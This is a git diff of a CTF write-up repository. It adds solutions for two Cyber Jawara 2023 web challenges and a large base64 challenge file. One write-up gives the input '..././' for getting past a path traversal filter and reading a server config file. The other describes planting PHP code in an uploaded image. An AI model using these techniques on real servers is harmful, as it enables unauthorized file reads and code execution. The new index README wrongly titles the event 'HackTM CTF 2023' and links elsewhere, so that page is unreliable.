diff --git a/1337UP LIVE CTF/Triage Bot/README.md b/1337UP LIVE CTF/Triage Bot/README.md index c568357..2ef7617 100644 --- a/1337UP LIVE CTF/Triage Bot/README.md +++ b/1337UP LIVE CTF/Triage Bot/README.md @@ -1,4 +1,4 @@ -# Welcome To HackTM CTF 2023 Quals +# Triage Bot > `-` ## About the Challenge diff --git a/Business CTF 2023 The Great Escape/README.md b/Business CTF 2023 The Great Escape/README.md index 9bd4966..0982b68 100644 --- a/Business CTF 2023 The Great Escape/README.md +++ b/Business CTF 2023 The Great Escape/README.md @@ -11,4 +11,4 @@ CTF writeup for The HTB Business CTF 2023 The Great Escape. I took part in this | Crypto | [Initialization](/Business%20CTF%202023%20The%20Great%20Escape/Initialization/) | Reversing | [DrillingPlatform](/Business%20CTF%202023%20The%20Great%20Escape/DrillingPlatform/) -I didn't create the writeup for cloud and fullpwn because i don't have an access to the chall again \ No newline at end of file +> I didn't create the writeup for cloud and fullpwn because i don't have an access to the chall again \ No newline at end of file diff --git a/Cyber Jawara 2023 - Umum/Magic 1/README.md b/Cyber Jawara 2023 - Umum/Magic 1/README.md new file mode 100644 index 0000000..5ad3673 --- /dev/null +++ b/Cyber Jawara 2023 - Umum/Magic 1/README.md @@ -0,0 +1,43 @@ +# Magic 1 +> Another warmup with PHP web app. + +## About the Challenge +We were given a source code (You can download the source code [here](magic-1.zip)) and website, here is the preview of the source code + +![Alt text](images/preview.png) + +The website only has 1 functionality where we can upload a file and the file can be accessed in `results` endpoint + +## How to Solve? +Even though we can upload some file, there are some restriction here + +```php +function canUploadImage($file) { + $fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); + $finfo = new finfo(FILEINFO_MIME_TYPE); + $fileMimeType = $finfo->file($file['tmp_name']); + $maxFileSize = 500 * 1024; + return (strpos($fileMimeType, 'image/') === 0 && + $file['size'] <= $maxFileSize && + strlen($file['name']) >= 30 + ); +} +... +... +if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) { + if (canUploadImage($_FILES['image'])) { + move_uploaded_file($_FILES['image']['tmp_name'], 'results/original-' . $_FILES['image']['name']); + $resizedImagePath = resizeImage($_FILES['image']); + } else { + $error = 'Please upload different file.'; + } +} +``` + +We need to upload an image where the file size is equal or less than 500 * 1024, and the file name is equal or greater than 30 characters. We need to insert the PHP payload into the image, for example ``. + +![flag](images/flag.png) + +``` +CJ2023{4n0th3r_unrestricted_file_upload__} +``` \ No newline at end of file diff --git a/Cyber Jawara 2023 - Umum/Magic 1/images/flag.png b/Cyber Jawara 2023 - Umum/Magic 1/images/flag.png new file mode 100644 index 0000000..da1b46a Binary files /dev/null and b/Cyber Jawara 2023 - Umum/Magic 1/images/flag.png differ diff --git a/Cyber Jawara 2023 - Umum/Magic 1/images/preview.png b/Cyber Jawara 2023 - Umum/Magic 1/images/preview.png new file mode 100644 index 0000000..cf3ef04 Binary files /dev/null and b/Cyber Jawara 2023 - Umum/Magic 1/images/preview.png differ diff --git a/Cyber Jawara 2023 - Umum/Magic 1/magic-1.zip b/Cyber Jawara 2023 - Umum/Magic 1/magic-1.zip new file mode 100644 index 0000000..fabf0c7 Binary files /dev/null and b/Cyber Jawara 2023 - Umum/Magic 1/magic-1.zip differ diff --git a/Cyber Jawara 2023 - Umum/README.md b/Cyber Jawara 2023 - Umum/README.md new file mode 100644 index 0000000..7c00dae --- /dev/null +++ b/Cyber Jawara 2023 - Umum/README.md @@ -0,0 +1,7 @@ +# HackTM CTF 2023 +CTF writeup for The HackTM CTF 2023. I took part in this CTF competition with NobodyFansClub team and secured the 25th place out of 65 teams + +| Category | Challenge | +| --- | --- | +| Web | [Static Web](/HackTM%20Quals%202023/Blog/) +| Web | [Magic 1](/HackTM%20Quals%202023/Blog/) \ No newline at end of file diff --git a/Cyber Jawara 2023 - Umum/Static Web/README.md b/Cyber Jawara 2023 - Umum/Static Web/README.md new file mode 100644 index 0000000..82a2045 --- /dev/null +++ b/Cyber Jawara 2023 - Umum/Static Web/README.md @@ -0,0 +1,68 @@ +# Static Web +> "Static" web for your hacking warmup. + +## About the Challenge +We only got 1 file called `index.js` and here is the content of the file + +```javascript +const http = require('http'); +const fs = require('fs'); +const path = require('path'); +const url = require('url'); + +const config = require('./config.js') + +const server = http.createServer((req, res) => { + if (req.url.startsWith('/static/')) { + const urlPath = req.url.replace(/\.\.\//g, '') + const filePath = path.join(__dirname, urlPath); + fs.readFile(filePath, (err, data) => { + if (err) { + res.writeHead(404); + res.end("Error: File not found"); + } else { + res.writeHead(200); + res.end(data); + } + }); + } else if (req.url.startsWith('/admin/')) { + const parsedUrl = url.parse(req.url, true); + const queryObject = parsedUrl.query; + if (queryObject.secret == config.secret) { + res.writeHead(200); + res.end(config.flag); + } else { + res.writeHead(403); + res.end('Nope'); + } + } else if (req.url == '/') { + fs.readFile('index.html', (err, data) => { + if (err) { + res.writeHead(500); + res.end("Error"); + } else { + res.writeHead(200); + res.end(data); + } + }); + } else { + res.writeHead(404); + res.end("404: Resource not found"); + } +}); + +server.listen(3000, () => { + console.log("Server running at http://localhost:3000/"); +}); +``` + +The website was vulnerable to path traversal in `/static` endpoint + +## How to Solve? +Because there's a filter where we can't input `../`, we need to input `..././` to bypass the filter and then read `config.js` file to obtain the flag + +![flag](images/flag.png) + +``` +CJ2023{1st_warmup_and_m1c_ch3ck} +``` \ No newline at end of file diff --git a/Cyber Jawara 2023 - Umum/Static Web/images/flag.png b/Cyber Jawara 2023 - Umum/Static Web/images/flag.png new file mode 100644 index 0000000..05c52aa Binary files /dev/null and b/Cyber Jawara 2023 - Umum/Static Web/images/flag.png differ diff --git a/NewportBlakeCTF 2023/32+32=64/32_1.txt b/NewportBlakeCTF 2023/32+32=64/32_1.txt new file mode 100644 index 0000000..f8c9bd5 --- /dev/null +++ b/NewportBlakeCTF 2023/32+32=64/32_1.txt @@ -0,0 +1 @@ +Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSV01WbDNXa1JTVjAxV2JETlhhMUpUVmpBeFYySkVUbGhoTVVwVVZtcEJlRll5U2tWVWJHaG9UVlZ3VlZadGNFSmxSbGw1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GU214U2JHdzFWVEowVjFaWFNraGhSemxWVm14YU0xWnNXbUZrUjA1R1UyMTRVMkpIZHpGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMVV5TVRSVk1rcElaSHBHVjFaRmIzZFdha1poVjBaT2NtRkhhRk5sYlhoWFZtMHhORmxWTUhoWGJrNVlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRWxhU0hCSFZqRmFSbUl6WkZkaGExcG9WakJhVDJOdFJraGhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXY1ZGVVJsTk5WbFkxVkZaU1UxWnJNWEpqUld4aFUwaENTRlpxUm1GU2JVbDZXa1prYUdFeGNHOVdha0poVkRKT2RGSnJhR2hTYXpWeldXeG9iMWRHV25STlNHaFBVbTE0VjFSVmFHOVhSMHB5VGxac1dtSkdXbWhaTW5oWFkxWkdWVkpzVGs1V2JGa3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFVtMUdVMkpWYkRaWGExcHJZVWRGZUdOSE9WZGhhMHBvVmtSS1QyUkdTbkpoUjJoVFlYcFdlbGRYZUc5aU1XUkhWMjVTVGxOSGFGQlZiVEUwVmpGU1ZtRkhPVmhTTUhCNVZHeGFjMWR0U2tkWGJXaGFUVzVvV0ZreFdrZFdWa3B6VkdzMVYySkdhM2hXYTFwaFZURlZlRmR1U2s1WFJYQnhWV3hrTkdGR1ZYZGhSVTVVVW14d2VGVnRNVWRWTWtwV1lrUmFXR0V4Y0hKWlZXUkdaVWRPU0U5V1pHaGhNSEJ2Vm10U1MxUXlVa2RUYmtwb1VqSm9WRmxZY0ZkbGJHUllaVWM1YVUxWFVraFdNalZUVkd4T1NHRkdRbFppVkVVd1ZtcEdVMVp0UmtoUFZtaFRUVWhDTlZaSGVHRmpNV1IwVTJ0a1dHSlhhR0ZVVnpWdlYwWnJlRmRyWkZkV2EzQjZWa2R6TVZZeVNrZGhNMmhYWVRGd2FGWlVSbFpsUm1SMVUyczFXRkpZUW5oV1YzaHJUa2RHUjFaWVpHaFNWVFZWVlcxNGQyVkdWblJOVldSV1RXdHdWMWxyVW1GWFIwVjRZMGhLV2xaWFVrZGFWV1JQVTBVNVYxcEhhR2hOU0VKMlZtMTBVMU14VVhsVmEyUlVZbXR3YjFWcVNtOVdSbXhaWTBaa2JHSkhVbGxhVldNMVlWVXhXRlZyYUZkTmFsWlVWa2Q0VDFOSFJrZFJiRnBwVmtWVmQxWnRjRWRWTVZwMFVtdG9VRlp0YUZSVVZXaERUbFphU0dWSFJtcE5WMUl3VlRKMGExZEhTbGhoUjBaVlZucFdkbFl3V25KbFJtUnlXa1prVjJFelFqWldhMlI2VFZaWmVWTnJaR2hOTW1oWVdWUkdkMkZHV2xWU2JGcHNVbTFTTVZVeWN6RlhSa3BaVVc1b1YxWXphSEpVYTJSSFVqRmFXVnBIYUZOV1ZGWldWbGN4TkdReVZrZFdibEpPVmxkU1YxUlhkSGRXTVd4eVZXMUdXRkl3VmpSWk1HaExWMnhhV0ZWclpHRldWMUpRVlRCVk5WWXhjRWhoUjJoT1UwVktNbFp0TVRCVk1VMTRWVmhzVm1FeVVsVlpiWFIzWWpGV2NWTnRPVmRTYlhoYVdUQmFhMkpIU2toVmJHeGhWbGROTVZsV1ZYaFhSbFp5WVVaa1RtRnNXbFZXYTJRMFZERk9TRkpyWkZKaVJuQndWbXRXVm1ReFduUmpSV1JXVFZad01GVnRkRzlWUmxwMFlVWlNWVlpYYUVSVWJGcGhVMGRXU0ZKdGNFNVdNVWwzVmxSS01HRXhaRWhUYkdob1VqQmFWbFp1Y0Zka2JGbDNWMjVLYkZKdFVubFhhMXByVmpKRmVsRnFXbGRoTWxJMlZGWmFXbVZXVG5KYVIyaE9UVzFvV1ZkV1VrZGtNa1pIVjJ4V1UySkdjSE5WYlRGVFRWWlZlV042UmxoU2EzQmFWVmMxYjFZeFdYcGhTRXBWWVRKU1NGVnFSbUZYVm5CSVlVWk9WMVpHV2xkV2JHTjRUa2RSZVZaclpGZGliRXBQVm14a1UxWXhVbGhrU0dSWFRWZDRlVlpYTVVkWFJrbDNWbXBTV2sxSGFFeFdNbmhoVjBaV2NscEhSbGRXTVVwUlZsUkNWazVXV1hoalJXaG9VakpvVDFVd1ZrdE5iRnAwVFZSQ1ZrMVZNVFJXVm1oelZtMUZlVlZzVmxwaVdGSXpXV3BHVjJOV1RuUlBWbVJUWWxob1lWZFVRbUZoTWtwSVUydG9WbUpIZUdoV2JHUk9UVlpzVjFaWWFGaFNiRnA1V1ZWYWExUnRSbk5YYkZaWFlUSlJNRlpFUms5VFJrcHlXa1pLYVZKdVFuZFdiWFJYVm0xUmVGZHVVbXBTVjFKWFZGWmFkMDFHVm5Sa1J6bFdVbXh3TUZsVldsTldWbHBZWVVWU1ZXSkdjR2hWTUdSWFUwWktkR05GTlZkTlZXd3pWbXhTUzAxSFJYaGFSV2hVWWtkb2IxVnFRbUZXYkZwMVkwWmthMkpHYkROV01qVkxZa1pLZEZWdWJGaGhNWEJ5Vm1wS1JtVnNSbkZYYkdSb1RXeEpNbFpHV21GWGJWWlhWRzVLWVZJeWFFOVVWekZ2VjFaa1YxVnJaR3ROYTFwSVZqSjRWMVV5U2tkalNFNVdZbFJHVkZSV1dsWmxWMDQyVW14b1UyRXpRbUZXVm1NeFlqRlplRmRZY0doVFJYQldXVlJLVTFOR1ZuRlNiVVpZVm01Q1NWbFZXazlXTVZwSFYyeGtWMkpIVGpSVWEyUlNaVlphY2xwR1pHbGlSWEJRVm0xNGExVXhXWGhWYkdoclUwZFNXRlJXWkRSbFZscFlUVlZrV0ZKcmJETldiWEJUVjJzeFNHRkZlRmROYm1ob1ZqQmFWMk5zY0VoU2JHUlhUVlZ3VWxac1VrTldhelZYVjFob2FsSlhhRzlWYWtwdlZERlZkMVpyZEU1aVJuQXdWRlpTUTFack1WWk5WRkpYVm0xb2VsWnRNVVpsVmxaelZteHdhVmRHU1hwWFYzQkhWakpPVjFSdVVsQldiVkpVV1d4b2IxbFdaRlZSYlVab1RXdHdTVlV5ZEc5V2JVcElaVWRvVjJKSFVrOVVWbHB6VmpGYVdXRkdhRk5pUm5BMVYxWldZV0V4VW5SU2JrNVlZa1phV0ZsVVNsSk5SbHBGVW1zNVZGSnJjSGxYYTFwTFlWWktkVkZ1WkZkaVdGSllWbTB4VW1WR1pIVlZiWEJUVmpGS1dGWkdXbUZrTURGSFZtNVNhMUo2YkZkVmJYaDNUVVpzVmxkc1RsZFdiSEJaV1ZWV1UxWlhTa2RqUjJoV1RVZFNXRlV3V2t0a1IwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGSllhR0ZTVjJoVldXdGtiMkl4Vm5GUmJVWlhZa1p3TUZwVmFHdFVhekZZWlVaa1YwMXFWbkpXVkVwTFUxWkdjbUZHWkZOTk1taFZWbXhTUzFKdFZuTlNia1pYWWtkU1ZGUlVTbTlpTVZweVZXdDBVMDFXYkRSV1J6VlhWbTFLUmxOc2FGWmlSa3BZVmpGYVlWSXhiRFpTYld4T1ZqRktTVll5ZEdGaE1XUklVMnRhYWxORk5WZFpiRkpIVmtad1dHVklUbGRpUjFKNlZrY3hiMVl5UlhwUldHaFhWbTFOZUZscVJscGxSbVJaWTBkb1ZGSllRbGxXYlhSWFdWZFdjMWR1UmxOaVIxSnhWRlprVTJWc2JGWmFTRTVYVFZad01WVlhlRWRXTWtWNFkwZG9XRlp0VWxOYVZscGhZMnh3UjFwR2FGTk5NbWcxVm14a01GWXhUWGhhUldSV1lrZFNXVmx0TVZOak1WcDBUVlJDVGsxV2JEVlViR1F3VjBaS2NtSkVUbGRpV0VKVVZqSnplRkl4VG5OUmJHUm9ZVE5DU1ZkVVNqUmhNazUwVm10a1lWSXlhRzlVVkVKTFZXeGFjMVZyWkdoTlZURTBWVEZvYjJGc1NsaFZiV2hXWWxoTmVGWXdXbHBrTVZweVpFVTFhVkp1UVhkV1JscFRVVEZhY2sxV1drNVdSa3BZVm0weGIyVnNXbk5YYlhSVVVqRmFTRll5ZUhkV01VcFhZak53V0ZZelFraFdha3BQVmpGV2RWTnNWbWxTTVVwVlYxZDRiMkl4YkZkYVJsWlNZbFZhYjFSV1pGTlRSbGw1VGxVNWFHSkZjREJhVldSSFZsWmFWMk5HWkZWV2JIQjZWbXBHWVZkWFJraGpSMnhYVjBWS1NGWnRlR3RPUjBWNFZXNVNVMkpyTlZsWmExcGhWMFpzVlZOc1NrNVNiWGhXVlcxek5WVXdNVmRqUkVaWFVqTm9kbGxXV2t0ak1rNUhZa1pvVjAweFNqSldWbEpIWVRGWmVGcElTbWhTTTFKVVZGVmFkMWRXWkZobFIwWmFWbXMxV0ZadE5WTmhNVW8yWWtaa1ZtSllhSHBVYkZwelZtMUdSbFJzWkdsV1dFSktWMVpXVjFVeFdsaFRiR3hvVTBWd1dGbHJXbmRUUm5CR1YydDBhMUl3TlVkVWJGcHJWR3hhV0dRemNGZGlXR2hVVlhwQmVGTkdTbGxoUjBaVFZqSm9WbGRYZEd0aU1rbDRWbTVHVW1KVldsaFphMXAzVFZacmQxZHRkR2hOYTNCSVdXdFNUMVl3TVhGV2EzaGFZVEZ3VEZwRldsZGtWMHBIWVVkb1RsZEZTalZXYlRGM1V6RktkRlp1VGxOaWExcFpXV3RrVTJJeFVsaGxSWEJPWWtad1NGWXlNVWRYUjBwWFYyeG9WMUo2Vmt4WFZscEtaVmRHUms5V1ZsZGxhMW95Vm1wR1lXRXhXWGhXYmtwaFVqTlNUMWxVUm5kVFZscHhVMnBTVjAxV1ZqVlZNblJyWVd4T1JrNVdaRnBpUmtwSVZtdGFVMVl4WkhOWGJYaFhUVVJSZVZaWE1UUmlNVlY1VWxod1VtSlZXbGhXYlRGT1pVWnNjVkpzY0d4U2JWSmFXVEJrYjFaR1NsbFJiR1JZVm14S1RGWlVSazlTTVZwMVVteE9hVlpXY0ZwV2JUQXhVVEZPVjJKR1dsaGhlbXhZVkZaYWQxTkdXWGxsUjNSWFRXdHdTVlpIY0ZOV1YwVjVWV3hPWVZac2NHaFpNbmgzVWpGd1NHSkhiRk5YUlVwU1ZtMHdlRTVIUlhoV1dHaFlWMGRvVjFsclpHOWpiRlYzV2taT1dGSnNTbGhYYTFKVFlrWmFjMk5HYkZWV2JGcHlWakJhUzJOdFNrVlViR1JwVjBWS1ZWWnFTbnBsUms1SVVtdGFiRkp0VWs5WmJURnZZakZhY1ZGdFJsZE5helY2V1RCV2IxVXlTa2hWYkdoVlZteGFNMVpYZUdGak1WWnlWR3hrYUdWc1dsbFdha1p2WWpKR2MxTnNhR2hTZW14WFdWZDBkMlJzV2tWU2JGcHJUVlp3ZVZwRlZURmhWa3AxVVZoa1YxSnNjRlJWVkVaaFkyc3hWMWRyTlZkU2EzQlpWbTB3ZUdJeVZuTlhibEpPVmxad2MxWnRlR0ZsYkZwMFpVaGthRlp0VWtoVk1XaDNWMFpaZWxGcmFGZGhhM0JRVm1wR1UyUldWbk5SYkdScFZtdHdWbFl4WkRSaU1rbDRZa1prWVZKc1dsTlpiRlpoWWpGU1dHUklaRlJXYkZZMVdrVmpOVll5U2xaalJXeGhWbGRTZGxacVNrdFRSbFp5VDFaV1YySklRalpXYlhCSFdWWmtXRkpyWkdoU2F6VndWVzAxUWsxV1dYaFhiR1JhVmpCV05GWlhOVk5WTWtweVRsWnNXbUV4Y0doV01GcHpWbFpPYzFOck5WTmlXR2hYVmxjeGVrNVdWWGROVm1ScVVrVmFXRlZxVG05a2JHeFhWMnQwYWsxck5VaFphMXB2VmpBd2VGTnFTbGRXYkVwSVZrUkdXbVZHY0VsVGJVWlRZa2hDZGxaR1pEUlRNV1JIVjJ0a1dHSlZXbkpVVlZKSFUwWmFkRTVXVG1oTlZXOHlXV3RhYTFadFNsbGhTSEJWWWtad2VsWnRNVWRTYkZKeldrZHNWMWRGU2t0V01WcFhWakZWZUZkc2FGUmlSM2h2VlRCV2QxZEdiSEpYYm1SVVVtNUNSMVl5ZERCaE1VbDNUbFZrVldKR2NISldSM2hoVjBkUmVtTkdaR2xYUjJoVlZsaHdRbVZHVGtkVGJHeG9VakJhVkZacVNtOVdiR1JZWkVkMGFVMXJiRFJXYlRWSFZXMUtWbGRzYUZwaE1YQXpWRlphY21ReFpIUmtSMmhPWVROQ1NWZFhkRk5VTVZsM1RWaEdWMkV6YUdGWlZFWjNWRVp3Umxkc1pHdFdNSEJJV1ZWa2IxUnNaRVpUYWxaWFlsUkdNMVY2Umt0a1JscDFWR3hPYVdFeGNGcFhWM1JyVlRKSmVGVnNhR3hTV0VKUFdXdGFkMU5HV1hsTlZXUllVakJ3V0ZWdGNFOVdWbHB6WTBoS1YwMUhVa3hXTUdSWFUxWlNjMk5HWkZOV2JUazJWbTF3UjFsWFJYaGFSV2hYWVRKb1VWWnRkSGRVTVZwelZXdGFUbEpzY0hwWGExSlRZVVV4V0dWR2FGWk5ibWh5V1ZkNFQxSnJOVmRhUm5CcFVtdHdTVlp0ZEdGWGJWWllWbXRvYTFJelFuQlZiVFZEVmpGYVdFMVVVbWhOVmtwNlZqSTFWMVZ0Um5OalJteFhZVEZhVEZsVldtRmpWa3AwWkVaT1RsWXhTWGhXYTJRMFZUSkdSazFZVW1oU2VteFlWbXBPVTFkR1pGZFhiazVYVFdzMVNGWXlNVWRWTVdSSFUyeGFWMkpVUmpaVVZtUlhZekpLUjFkdFJsTmxiWGhYVjFab2QxSXhXWGhoTTJSWVlsaFNXRlJYZEhkVFZscElZMFpPVjFZd1ZqVldWM2hQV1ZaYWMyTkhhRnBOYm1nelZXcEdkMU5IU2toaVJrNVlVbFZ3VTFadE1IZGxSVFZJVWxob1YxZEhhRmxXTUdSdlZqRnNjbHBIT1dwaVJsWXpWMnRhVDFkR1NuTlRiR2hZWVRGS1ZGbHJXbUZqTWs1SFlrWldWMkpHY0hsV2FrSmhVekpPZEZOclZsVmlSMUp3VmpCV1MxWldXbkZUYm5Cc1VtczFTVlZ0ZEdGaVJrcDBWV3M1V21KVVJuWlpha1poWTFaR2RGSnNaRTVoZWxZMlYxUkNWMkl4VlhsVGEyaFdZa2RvVmxadGVHRk5NVnBZWlVkR2FrMVdXbmxXUjNocllVZFdjMWRzYkZkaGExcDJXV3BLUjJNeFRuTmhSMmhUWlcxNFdGZFdaREJrTWxKelYydFdVMkpHY0hKVVZscDNaVlp3UmxaVVJtaFdhM0F4VlZab2ExWXhTbk5qUmxKV1ZrVmFhRmt5YzNoV01XUnlUbFprVTJFelFscFdiVEIzWlVkSmVWWnVUbGhpYkVwUFZteGFkMk14V25SbFIwWnNZa1p3TUZwVmFHdGhSbHAwVld0b1ZrMVhhRE5XTUZwYVpXeEdjbUZHWkdoaE0wSlJWbTF3UjFVeVVsZFdiazVTWWtkU2NGWnRkSGRXYkZsNFdrUlNhVTFyYkRSWmExcHJXVlpLYzFkc1RscGlSbHBvV1dwR1UxZEhVa2xhUmxKWFlrWlpNVmRyVm1wT1ZsbDVVMnhhYWxKWGVHaFdiR1JUWkd4YWNWTnJkRlJTYkZwNVZERmFWMVl5U2tsUmFscFhZbGhDU0ZkV1dtdFhSa3B5V2tkb1UyRjZWbmRXVnpBeFVXc3hWMWRZYUZoaVIxSmhWbXBDVjA1R1dsaE9WazVXVFd0d2VWUnNXbk5YYlVWNFkwZG9WMDFHY0hwV2JGcFBZekZPY2s1V1RtbFRSVXBJVm14amVHVnJOVmRYYTJSVVltdHdjVlV3WkRSWFZteFZVbTVrVlZKdGVGaFdNblF3WVRGYWNsZHFSbGhoTVhCeVdWWmFhMUl4VG5OaVJtUnBWa1ZKTUZac1kzaFdNVWw0WTBWc1YySkdjSEJXTUZaTFZsWmFkR05GWkZSTlYxSklWakowYTFkSFNsWlhia3BWVmxaS1NGVXdXbUZrUlRWWFZHMW9UbFpYT0hsWFYzUmhZVEZhZEZOc2JHaFNSVFZXVm14YWQyVnNXblJsUjNScVRWWktlbGRyV210aFZrNUdVMjFHVjAxV2NGaFdha1pXWlVaa2MyRkdVbWhOYkVwNFZsZHdTMkl4V1hoVmJGcGhVbXMxV1ZWdGVGZE5NVmw1WkVSQ2FFMVZiRE5VYkZaclZsZEtSMk5JU2xkU00yaG9WakJrVW1WdFRrZGFSMnhZVWpKb1ZsWnNhSGRSYlZaSFZHdGtWR0pIZUc5VmFrSmhWa1phY1ZOdE9WZGlSMUpaV2tWa01HRlZNWEppUkZKWFlsUldTRlpYTVV0V2JHUnpZVVp3YUUxWVFYcFdSbHBoWTIxUmVGcElVbXRTTW1oUFdWUk9RMU5XWkZoa1JrNVZUVlpzTTFSV2FFZFdNa1Y2WVVkR1dsWkZXak5XUlZwM1VteGtjMXBIZEZkTlNFSkpWMVpXYTJJeFVuTmFSVnBVWVd4YVdGbHNVa2ROTVZZMlVtdDBhMUpzY0RGV1IzaFBZVmRGZUdOR2NGaFdNMUp5VmxSS1NtVkdWbk5oUjNoVFYwVktVRmRYZEdGa01VNUhWMWhzVGxaWFVsbFZha0ozVjBaV2RHTkZPVmRXYkhCNldUQm9TMVl3TVVoVmEzaFhUVWRTV0ZVeFdsTmpNazVIV2taT1YySlVhekpXYlRGM1VqRnNXRkpZYUdGU1YyaFlXVlJLYjFWV1duUmtTR1JWVFZad01GcEZhR3RXUmxwelkwaHdXRmRJUWtoV2ExVjRWMFpXY21KR1drNWliRXB2VjFaa05GUXhTbkpPVm1SaFVtNUNjRlZ0ZEhkVFZscDBaRWRHYTAxWFVrbFdiWFJ6VmxkS1NGVnVRbFpoYTFwTVZHMTRZV05zYTNwaFIyeE9WbTEzTVZaWGVHOWtNVlp6V2tWb2FGSnRhRmhaYkZKSFZERndWbGR1VG1wV2EzQjZXVEJrTkZVeVNsZFRiVVpZVmtWS2NsbHFSbUZTTVU1ellrWkthVkl6YUZsWFYzaHZWVEZrUjFwR1pHRlNiVkp4VkZaa1UwMVdWblJsUlRsb1ZtdHNORlV5Tlc5V01VcHpZMGhLVjFaRmNGaFpla3BMVWpGa2RGSnNVbE5XUmxwYVZtdGFZVmxYVVhkTlZtUlhZa2RvYzFWc1pGTlhSbEpZWkVaa1QxSnRkRE5YYTJNMVYwWktjMk5FUWxkV00yaFFWMVphWVdNeVRraGhSbkJPWW0xbmVsWlhjRWRrTVVsNVVtdGtWV0Y2Vms5WmJHUnFaVVphZEUxVVVtaE5SRVpJVmpGb2IxWldaRWhoUjJoV1lrZFNWRlpxUm5OamJIQkhWR3hvVjJKWVozZFdSbHBoVkRKR2NrMVdaR3BTUlVwV1ZtMTRTMUpHV2toak0yaFhUV3R3UmxadGVGZGhWa2w0VW1wT1YyRnJTbWhWZWtwUFpFWk9jbFpzVm1sU01VcDNWbXBDVjFNeFdsZFhia1pVWW01Q2MxVnRjekZUVmxaMFpFZEdhVkpyY0RCV1YzTTFWMjFLVlZKdVdscGhhMXBvV1RGYVIyUkdTbk5hUlRWb1pXeFpNbFl4VWtOV01rbDRWbGhzVkdFeWFGZFphMlJ2Vm14YWRHVkhSazVOVm5CWldsVmtSMkZyTVZsUmEzQllZVEZ3VkZaSGVHRldWa3BWVVd4a1YxSldjREpYV0hCSFZtMVdWMU5zYkdsU01taFVXbGN4TkZkR1pGaGtSMFpVVFZkU1NGWXhhR3RYUjBweVRsaEtWbUZyV2t4VmFrWjNVbXhhVlZKdGFGZGhNMEY0VmxaYWIyRXhXWGhUYms1cVVteEtWMVpyVm1GaFJtdDVZek5vVjAxWFVubFViRnByVlRKRmVsRnNjRmRpVkVGNFdrUkdXbVZHWkhKYVJtaHBZVEZ3VmxkV1VrZGtNazE0VjI1U2JGSXdXazlXYlhoaFRVWndWbHBGWkdoU2JIQjVXV3RTVTFadFNraGhTRXBYWVd0d1RGWnNXa3RXVmtaelkwZDRhRTB3U2xGV01uaFhZVEZSZUZOdVVsTmhNbEpUV1d0a1UyTkdXblJrU0dSWFlrWnNORmRyVWtOV01ERnpVbXBTV0dFeWFGQldNR1JHWlZkR1NWUnNXbWhoZWxaRlZteFdZVmxYVWtoV2EyeFZZWHBzVkZsclpETk5WbHBJWlVaYVQxWXdXa2xWTW5SaFlXeEtkR1ZIUmxkaVJuQXpXbGQ0WVdOV1RuSlhiWGhUWWtoQ1lWZFdWbXRTTVZWM1RVaHNhRkpHY0ZoWmJHaERVMFprVjFkdGRGaFNhM0I1VjJ0a2IxVXlSalpXYm1SWFZucENNMVJzVlRGU01XUlpZVVphYUUxRVZtaFdiWEJEVmpBMVIxZHNhRTlXVkd4WlZXMHhVMU5XY0ZaWmVsWlhZbFZXTkZZeWNFOVdNREZIWTBaU1YyRnJXbkphUmxwM1UwZEdSMVJ0YkZOaVdGRXhWbTE0YW1WRk1VaFZXR3hVWVRKU1ZWbHRjekZXVm14WVpFZEdXRkp0ZUhwWlZXTTFWbFpLZEdWR2FGZE5ibEYzV1ZkemVHTnJOVlpoUm5Cb1RWaENlVlpzVWt0VE1VcDBWR3RhYVZKdFVsbFZNRlpMVWtaYVIxZHRkRlZpVmxwSVdUQldjMVpIU2xoaFJsSlZWa1Z3ZGxac1dtRlNNVnAwVW0xMFRtRXhjRWxXYWtreFZUSkdjMU5zYUZaaVJscFdWbTE0WVdWc1VuSlhiVVpZVWxSV1YxUXhXbTlWTURGSlVXeG9WMkZyYnpCWlZFWmhaRVpPYzJKSGFGTlNWRlpYVm0xNFlXUXlSa2RYV0dSWFZrVmFXRmxyV2t0bGJHUnlWbFJHYUZKVVFqTlZNblF3VmpBeFYyTkdhRmRoYTFwWFdsVmFhMlJXVG5KT1ZtUnBWbXR3TkZac1pIZFRNa2w0WWtaa1ZtSkhVbGxaYlRGVFZqRldkRTFVUWs5U2JHdzFXbFZrTUdGSFJqWlNiR3hYVm5wV2VsWnNaRXRTTWs1SlUyeGtVMDB5YUc5V2FrSnJWVzFXZEZSclpHRlNNbmhaVldwS2IxWnNXbk5oU0dSU1lsWmFTRlpIZEd0V1IwcElaVWM1Vm1GclNtaFdhMXBoWTFaT2RFOVdaR2xTTVVwYVYydFdhMDFIUmxaTldFcHBVa1pLV0Zsc1VsZFRSbHBZVFZWMFYySkhVbnBaVlZwM1lVVXhXVkZZY0ZkU2JIQm9XVEl4VW1WR2NFbFZiWFJUVFcxb1VGZFdVazlSTVU1WFdrWm9hMUpyTlZaVVZscHpUVEZTVjJGRlpGZE5hMVkyV1ZWa1IxZHNXa1pYYWs1WFVsWndNMVZ0ZUd0ak1YQklaRVprVGxORlNrcFdNVnBYWVRKSmVGVnVUbUZTVm5CVldWZDRZVmRHYkhOVmEyUk9UVlpaTWxWdGREQmhNVXB6WTBSR1YxSXphRkJaVm1SR1pVZE9SMk5HYUZkTk1VcDVWbXhTUzFOdFZrZFdiazVvVWpOb1ZGWXdWa3RWUm1SWVpFZEdhMDFWTlVoV01XaHpWR3hhV0ZWc2JGWmhhMG96VmpCYVdtVlhWa2hQVm1ST1ZsYzRlVlp0TVRCT1JtUkhWMjVPYWxKWVVtaFdiVEZUVTBaV2RHTjZWbGROVm5CNlYydGtOR0ZGTVZoUFZGWlhZbFJHTTFWcVJuTlhSa3BaWVVab1dGSXlhRmxYVnpFd1pESkdSMVp1UmxWaVJUVldWRlprTkZac1ZuUk9WM1JYVW14d2Vsa3dhRzlXYXpGMVVXeFNWMkZyUmpSV2FrWmhZMVphYzFkck5XbGlSWEExVmpGYWEwNUdVWGhUYmtwUFZtMVNhRlZ0TlVOalJsWjBaRWhrVkZac2NEQmFSV1JIVm